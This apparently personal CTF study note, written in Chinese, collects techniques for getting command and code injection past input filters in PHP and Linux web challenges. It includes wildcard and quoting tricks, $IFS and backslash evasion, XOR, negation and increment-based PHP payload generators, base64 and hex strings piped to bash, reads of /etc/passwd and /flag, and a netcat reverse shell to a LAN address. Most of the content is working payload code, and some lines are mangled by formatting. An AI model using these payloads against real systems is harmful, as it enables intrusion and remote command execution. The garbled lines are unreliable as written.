05.RCE绕过
本文最后更新于521 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

绕过

一、通配符

符号 含义
? 匹配单个字符如果匹配多个字符,就需要多个?连用
" * " " * "代表任意数量的字符
[ ] 代表一定有一个在括号内的字符(非任意字符)。例如 [abcd] 代表一定有一个字符, 可能是 a, b, c, d 这四个任何一个

在linux中也是可以利用通配符来进行模糊匹配的。就比如:
at /?tc/?as?wd
这样也是可以执行的。
Pasted image 20241126085221.png

Nc反弹shell:
nc -e /bin/bash 127.0.0.1 6666
 nc -e /?in/b??h 192.168.0.108 6666
 Pasted image 20241126090206.png

二、连接符

常见连接符:单双引号反斜杠 " " ‘ ’
如:/’b’i’n’/’c’a’t’ /’e’t’c’/’p’a’s’s’w’d
Pasted image 20241126090257.png

三、未初始化的变量绕过

未初始化的变量值都是null,例如a , a,a,b,在linux环境下输出都为null
cat$a /etc$a/passwd$a

Pasted image 20241126091007.png

Pasted image 20241128151452.png

管道符

管道符 实例 描述
; A;B 无论真假,A与B都执行
& A&B 无论真假,A与B都执行
&& A&&B A为真时才执行B,否则只执行A
| A|B 显示B的执行结果
|| A||B A为假时才执行B,否则只执行A

空格过滤

以下可代替空格
< <> %20(即space)
%09(即tab) $IFS$9 IFSIFS {cat,/flag} =cat /flag

反斜杠\绕过

//如cat、ls被过滤,使用\绕过
c\at /flag
l\s /

取反绕过

//取反传参

<?php
$a = "system";
$b = "cat /flag";
 
$c = urlencode(~$a);
$d = urlencode(~$b);
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>

异或绕过

异或构造Python脚本
valid = "1234567890!@$%^*(){}[];’",.<>/?-=_`~ "

answer = input(‘输入异或构造的字符串:’)

tmp1, tmp2 = ”, ”
for c in answer:
for i in valid:
for j in valid:
if ord(i) ^ ord(j) == ord(c):
tmp1 += i
tmp2 += j
break
else:
continue
break

print(f’"{tmp1}"^"{tmp2}"’)
//异或php脚本

<?php
$a='phpinfo';
for ($i = 0;$i <strlen($a);$i++)
    echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j<strlen($a);$j++)
    echo '%ff';
?>

//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff

//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo();

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);
 
 
//构造payload,字符串phpinfo异或结果为"0302181"^"@[@[_^^"
 
mess=$_="0302181"^"@[@[_^^";$_();
?>

自增绕过

//自增payload,assert($POST[]),命令传入_

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();

变量拼接绕过

如flag被过滤
将:
cat /flag
替换为:
b=ag;cat /fl$b

读取根目录

eval(var_dump(scandir(‘/’););

读flag

eval(var_dump(file_get_contents($_POST[‘a’])););&a=/flag

反引号绕过

//等效于打开ls目录下的文件
cat ls

_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_

N[S.S等效于N_S.S
php需要接收e_v.a.l参数,给e[v.a.l传参即可

php标签绕过

?><?= phpinfo(); ?>

base和hex编码绕过

//base64编码绕过,编码cat /flag,反引号、| bash、()echoY2F0IC9mbGFn|base64dechoY2F0IC9mbGFn|base64d|bash(echo Y2F0IC9mbGFn | base64 -d)

//hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo ‘636174202f666c6167’ | xxd -r -p | bash

//shellcode编码
//十六进制编码

正则匹配绕过

//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}

引号绕过

//如cat、ls被过滤
ca""t /flag
l’s’ /

cat替换命令

more less cat tac
head tail vi vim
nl od sort uniq
tac 与cat相反,按行反向输出
more 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less 与more类似
tail 查看文件末几行
head 查看文件首几行
nl 在cat查看文件的基础上显示行号
od 以二进制方式读文件,od -A d -c /flag转人可读字符
xxd 以二进制方式读文件,同时有可读字符显示
sort 排序文件
uniq 报告或删除文件的重复行
file -f 报错文件内容
grep 过滤查找字符串,grep flag /flag

回溯绕过

//php正则的回溯次数大于1000000次时返回False
a=helloworld+h1000000pregmatch(/hello.world/is,a) == False

无回显RCE

//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(printc\at /flag😉
[[SWPUCTF 2021 新生赛finalrce]]

无参数RCE

    利用getallheaders()、get_defined_vars()、session_id等;

无字母数字RCE

    异或、取反、自增、临时文件上传;

[[SWPUCTF 2021 新生赛hardrce]]

环境变量绕过

cat命令还不行执行,都已经绕过了过滤。其实在没有限制的情况下命令还不能执行,只能是该命令被屏蔽了,但是使用其他查看文件的命令也都不可以。

那可能就是环境变量被更改了,需要使用命令的绝对路径来执行,也就是/bin/cat。再次构建paylaod{%0a"cmd":"/bin/cat%20index.php"%0a}。成功回显了文件内容。

{%0a"cmd":"/bin/cat%20index.php"%0a}

/bin/cat=cat
[[FBCTF2019RCEService]]

preg_match过滤函数绕过

既然存在过滤,多半碰到的函数都是preg_match,该函数可以通过换行符%0a和数组进行绕过,因为该函数只会匹配第一行数据,除非设置了参数。所以默认为preg_match函数过滤,构建
paylaod:

{%0a"cmd":"cat%20index.php"%0a}

[[FBCTF2019RCEService]]

或者进行闭合绕过
如:?cmd=111);//

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇